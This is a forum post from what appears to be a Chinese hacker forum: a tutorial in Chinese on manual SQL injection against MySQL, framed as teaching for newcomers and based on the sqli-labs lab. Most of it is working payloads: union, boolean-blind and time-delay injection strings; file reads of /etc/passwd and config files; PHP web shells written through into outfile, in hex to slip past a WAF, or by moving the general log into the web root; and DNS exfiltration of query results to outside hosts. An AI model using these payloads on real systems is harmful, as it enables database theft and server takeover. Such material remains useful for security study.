• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

最易懂的SQL手工注入教程


This Wind

Recommended Posts

我是技术不高,但我能带你入门

我遇到过无数人曾来像我表示自己想学网络安全,走了很多弯路,求师被骗过很多钱。

这样的人我没办法帮助太多,限于时间精力与能力,帮得了1个帮不了100个,再说我也不是昔日的雷锋了。

如今我也基本上不做渗透了,回过头看到几年前自己笔记中有一些注入笔记,虽然我没有大牛水平,没有高端操作,但我希望我能把我仅有的一些技术与资源,能够最大程度惠及到网络安全向往者身上,能够带领一部分新人步入网络安全。

网络安全其实跟其他行业一样,网上什么教程都有,但能百度到不一定能学到,大多杂乱无章,教程更多的是表达成果,及简要的过程。供学习者来说可消化性太低。

其实对于入门者来说最重要的是:从哪开始,如何开始,需要秉持什么样的价值观,而不是天天混圈子,喊这个表哥,那个大佬。

SQL注入教程说明

  • 本教程旨在带领理解SQL注入基本原理与实现方式,以及常见的注入操作。
  • 学习SQL注入之前需要先学习基本的SQL语句http基本的get与post请求,url编码
  • 本教程从笔记中整理修饰,可能连贯性不强,不够系统,但都是重要且需要理解的点。
  • 建议基于Sqlilab边学习边实践
  • 在理解本教程完后,可以学习:Sqlmap使用教程【个人笔记精华整理】

SQL手工注入入门教程

mysql基本hack函数:

mid

SELECT MID(ColumnName, Start [, Length]) FROM TableName

LEFT(str,len)

返回字符串str的最左面len个字符

ASCII(str) =ORD

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

SUBSTR(str,pos,len)

从str中多少个字符开始,截取多少位

CAST

SELECT CAST(’12’ AS int)     将目标str转化为目标数据类型

 IFNULL(expr1,expr2)

如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2

updatexml()

extracavalue()

判断字符的一些语句:
 
▲left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
▲ascii(substr((select table_name from information_schema.tables where table_schema =database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数
Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
Ord()函数同 ascii(),将字符转为 ascii 值
 

LOAD_FILE

加载本地文件(服务器上)

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
说明:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
 
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
说明:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
 
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’) into outfile ‘c:\\wamp\\www\\test.php’
可以将其他路径的文件导到web目录来供访问,一般用于把包含一句话木马的文件导出成php来链接
 

get与post请求注释符的区别

一般很容易在各种教程上看到 ‘ or and 1=1 #  或 ‘ or and 1=1 –+

但可能没人告诉你什么情况下该用什么。

#是sql语句中的注释符,+ 在http请求中表示空格,但get与post中,由于http请求的转义,请求到后端sql语句拼接的时候可能会不一样。

get请求的时候一般用:
1′ and 1=1 –+
//这里最后的空格用+,在请求的时候不会被urlencode,到后端sql语句中就会成为一个正常的空格,– 后面的语句就会被注释。
但是如果在post里最后用加号的话就会被urlencode成%2B,实际的空格被转义才被转义成+
uname=1%27+or+1%3D1+--%2B&passwd=111&submit=Submit
post请求的时候一般用:
这时候,在post的情况下,最后一个空格,可以直接用空格,不用+来代替,因为post参数 空格会自动转成+;
而之所以不在get注入的时候使用“#”来注释,是因为,请求时,“#”不会被urlencode为“%23”,被识别为锚链接,无法传递至sql语句中。
 
找一个库中有哪些表名:
select table_name from information_schema where table_schema ="security";
找一个表中有哪些列名:
select column_name from information_schema where table_name ="eamils";

 AND与OR的区别

需要理解 and和or的区别
1576188788-088995c4e01c3b2.png
场景举例:
没有订单可以测的情况下,只能用or
1576188790-088995c4e01c3b2.png
 
 

union联合查询注入

[rihide]当union前面的语句为false时才会执行后面语句(这里一定先学习union查询的用法)
如以下,union语句前 先构建一个错误条件。
www.vuln.cn/sql/less-1/?id=1' and 1=2 union select 1,user(),database() --+
www.vuln.cn/sql/less-1/?id=-1' union select 1,user(),database() --+
union与order by 后面跟着的列数是跟前面的select 列数相同的,不是该表的总列数
总列数判断为:
www.vuln.cn/sql/less-10/?id=1" and  if((select count(*) from information_schema.columns where table_name = "emails")=2,sleep(5),1) --+
解释:如果列数为2,则延时5秒响应。
判断某列是否存在也可以用:
www.vuln.cn/sql/less-10/?id=1" and exists (select username from admin)
当union查同库其他表时,需要知道库名:
 
如:
http://www.vuln.cn/?id=-1 uni%00on se%00lect id,hash fr%00om sql3.key

读文件/写shell

这里包含了网上常见或不常见的导出一句话的骚操作

支持union的方法,最常规的方式:

www.vuln.cn/sql/less-10/?id=-1" union select 1,user(),3 into outfile "C:\\test.txt" --+

16进制写shell

www.vuln.cn/sql/less-10/?id=-1" union select 0x3c,0x3f,0x6576616C28245F504F53545B785D293B3F3E into outfile "C:\\test.php" --+
其中上面的16 进制组合成的是一个一句话,其实这样的sql可以过waf
<    ?   eval($_POST[x]);?>

利用分隔符写shell

如果不支持union,可以用分隔符导出一句话,当然字段数要大于2。
select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by<? phpinfo(); ?>%23     #分隔符也可以用16进制表示
select exp(~(select * from(select 'hello')a)) into outfile 'C:/out.txt';  //但是只能写一个0进去。

修改sql日志路径到web下的一个php文件

show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址 
select '<?php eval($_POST[cmd]);?>'  #写入shell
读文件:
select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> UPDATE table_test
    -> SET blob_col=LOAD_FILE('/tmp/picture')
        -> WHERE id=1;
 
 

基于布尔值的盲注

  • 可以通过响应的不同可以判断sql语句是否正确
  • 枚举字符来判断字符是否存在

mysql的一些特征:

  • select 1 from information_schema.tables where table_schema="security";     这种情况后面只要为真,就会返回1
  • select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1;
当试探第二个表的时候并不是改为limit1,1,因为limit针对的是条件筛选后的过滤,所以测试其他表的时候,继续修改正则即可,如果us[a-z]为1,ua[a-z],说明至少有两个表,一个表以us开头,另一个ua开头
  •  ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101    这种情况取第二个表的时候就需要limit 2,1了,因为表的排序是固定不会变的
  • select user() like ‘ro%’,有匹配的时候会返回1,
 

标准的正则布尔测试:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
比如判断数据库版本:
http://www.vuln.cn/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
 
判断是否条件成立的其他方法:
http://www.vuln.cn/index.php?a=examtraining&c=index&id=1 and (ord(substr(database() ,1,1))-1010) &m=member&type=TF
 
 

盲注流程

获取库名:
and%20ord(substr(database(),1,1))>80+–+
 
获取表名:
利用 substr() ascii()函数进行尝试
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
http://www.vuln.cn/sqllib/Less-5/?id=1%27and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
获取字段名:
 http://www.vuln.cn/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
and ord(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105+--+
获取表数据:
 http://www.vuln.cn/sqllib/Less-5/?id=1%27 and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+
and ord(mid((select id from emails order by id limit 0,1),1,1))<105+--+
通过dns获取盲注数据:http://www.vuln.cn/6805
 
由于union后必须跟上与前面同样的字段数,所以需要把load_file放在其中,非union直接select load_file即可
dns获取盲注数据示例:
http://www.vuln.cn/SQL/Less-8/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',(select id from emails limit 0,1),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
http://localhost/SQL/Less-9/?id=1%27+union select 1,LOAD_FILE(CONCAT('\\\\',database(),'.t00ls.af6160db0692ac54d19b613b0b01a78c.tu4.org\\foobar')),3 --+
\\foobar  后面要有一串任意字符,访问远程目录的意思,所以这个“foobar”可以用任意字符替换。
还可以:
select id from admin where id=1 and if((select load_file(concat('\\\\',(select database()),'.ceye.io\\abc'))),1,1);
 

延时注入

适用于当我们测试的时候没有任何回显来判断是否有注入,比如订单搜索,比如当sql错误的时候返回与正确的相同,我们就无法通过回显差异来判断注入
如下图代码,成立与否页面不变化
 

1576188793-088995c4e01c3b2.png

 
所以就需要通过判断是否延时来确认是否有注入
http://www.vuln.cn/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
http://www.vuln.cn/sql/less-9/?id=1' and if((ord(substr(user(),1,1))=114),sleep(5),1) --+
如果过滤逗号,可以:
show fields from `tiny_nav` where field='id' and sleep(('a'=(select name from tiny_manager where id=3 union select 'a' order by 1 limit 1))*5)
还可以利用 union select 加 order by 逐字猜解…
假设,name 是 admin
当 猜出第一个字母为 ‘a’ 时,’a’=’a’及真。用 0,1表示的话就是1,然后 sleep(1*5),如果是假,那就是sleep(0*5)…
 
先基本判断有没有延时,然后在load_file来dns查询
http://www.vuln.cn/SQL/Less-8/?id=1%27+and sleep(5) --+
可以
www.www.vuln.cn/sql/less-10/?id=1" and sleep(5) order by 8 --+

post注入

 
最大的区别在于注释符的使用,and改为or而已
如:
') or (ord(substr(user(),1,1))>1#

参考地址:http://www.vuln.cn/9027 [/rihide]

  • Like! 3
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now